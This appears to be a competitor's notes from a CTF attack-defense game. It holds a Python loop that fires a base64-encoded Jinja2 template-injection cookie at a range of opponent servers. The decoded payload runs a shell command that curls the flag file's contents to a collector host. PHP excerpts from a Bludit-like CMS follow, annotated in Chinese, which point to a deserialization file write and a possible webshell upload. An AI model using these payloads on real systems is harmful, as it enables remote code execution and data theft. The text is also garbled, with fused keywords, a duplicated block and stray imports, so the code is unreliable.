from flask import Flask, request, render_template,send_from_directory, make_response from Archives import Archives import pickle,base64,os from jinja2 import Environment from random import choice import numpy import builtins import io import re
whileTrue: for i in range(3,21): try: #payload = "system('cat /flag');" Url ="http://10.0.%s.4:5000/hello"% i cookie = {'username':'e3sgKCkuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzkzXS5fX2luaXRfXy5fX2dsb2JhbHNfX1sic3lzIl0ubW9kdWxlc1sib3MiXS5zeXN0ZW0oJ2N1cmwgImh0dHA6Ly8xMC4xMC4yLjIwNzozMDAxL2ZsYWciIC1kICIkKGNhdCAvZj8/PykiJykgfX0='} #print Url IP = '10.0.%s.4'% i print'Target:' + IP result=requests.post(url=Url,cookies = cookie,timeout=3) '''flag=result.text mat = re.compile(".*([0-9a-zA-Z]{20}).*") flag = mat.findall(flag)[0] print flag submit_token(flag)''' #submit_cookie(IP,flag) except: sleep(0.1) sleep(200)
2. bl-kernel/pagex.class.php // Returns the value from the field, false if the fields doesn't exists // If you set the $option as TRUE, the function returns an array with all the values of the field public function custom($field, $options=false) { if (isset($this->vars['custom'][$field])) { if ($options) { return $this->vars['custom'][$field]; } return $this->vars['custom'][$field]['value']; } return false; }
3. bl-kernel/pages.class.php elseif ($field=='custom') { if (isset($args['custom'])) { global $site; $customFields = $site->customFields(); foreach ($args['custom'] as $customField=>$customValue) { $html = Sanitize::html($customValue); // Store the custom field as defined type settype($html, $customFields[$customField]['type']); $row['custom'][$customField]['value'] = $html; } unset($args['custom']); continue; }
} elseif ($field=='custom') { if (isset($args['custom'])) { global $site; $customFields = $site->customFields(); foreach ($args['custom'] as $customField=>$customValue) { $html = Sanitize::html($customValue); // Store the custom field as defined type settype($html, $customFields[$customField]['type']); $row['custom'][$customField]['value'] = $html; } unset($args['custom']); continue; }
// Insert custom fields to all the pages in the database // The structure for the custom fields need to be a valid JSON format // The custom fields are incremental, this means the custom fields are never deleted // The pages only store the value of the custom field, the structure of the custom fields are in the database site.php public function setCustomFields($fields) { $customFields = json_decode($fields, true); if (json_last_error() != JSON_ERROR_NONE) { return false; } foreach ($this->db as $pageKey=>$pageFields) { foreach ($customFields as $customField=>$customValues) { if (!isset($pageFields['custom'][$customField])) { $defaultValue = ''; if (isset($customValues['default'])) { $defaultValue = $customValues['default']; } $this->db[$pageKey]['custom'][$customField]['value'] = $defaultValue; } } }
疑似一个反序列化之后的任意文件写 public function __destruct(){ if(isset($this->filepath) && isset($this->error_log)){ file_put_contents(PATH_UPLOADS_PROFILES.$this->filepath,$this->error_log); } }
比原代码多了对json的处理 if (isset($args['customFields'])) { // Custom fields need to be JSON format valid, also the empty JSON need to be "{}" json_decode($args['customFields']); if (json_last_error() != JSON_ERROR_NONE) { return false; } $pages->setCustomFields($args['customFields']); }
如果可以移动并重命名,说不定就可以利用和这个写shell // Move the image to a proper place and rename $image = $imageDir.$nextFilename; Filesystem::mv($file, $image); chmod($image, 0644);
// Add or update the current client IP on the blacklist publicfunctionaddToBlacklist() { $ip = $this->getUserIp(); $currentTime = time(); $numberFailures = 1;
if (isset($this->db['blackList'][$ip])) { $userBlack = $this->db['blackList'][$ip]; $lastFailure = $userBlack['lastFailure'];
// Check if the IP is expired, then renew the number of failures if($currentTime <= $lastFailure + ($this->db['minutesBlocked']*60)) { $numberFailures = $userBlack['numberFailures']; $numberFailures = $numberFailures + 1; } }
$this->db['blackList'][$ip] = array('lastFailure'=>$currentTime, 'numberFailures'=>$numberFailures); Log::set(__METHOD__.LOG_SEP.'Blacklist, IP:'.$ip.', Number of failures:'.$numberFailures); return$this->save(); }
#\bl-kernel\abstract\dbjson.class.php public function save() { $data = ''; if ($this->firstLine) { $data = "<?php defined('Zero') or die('Zero CMS.'); ?>".PHP_EOL; }
// Backup the new database. $this->dbBackup = $this->db;
// LOCK_EX flag to prevent anyone else writing to the file at the same time. if (file_put_contents($this->file, $data, LOCK_EX)) { returntrue; } else { Log::set(__METHOD__.LOG_SEP.'Error occurred when trying to save the database file.', LOG_TYPE_ERROR); returnfalse; } }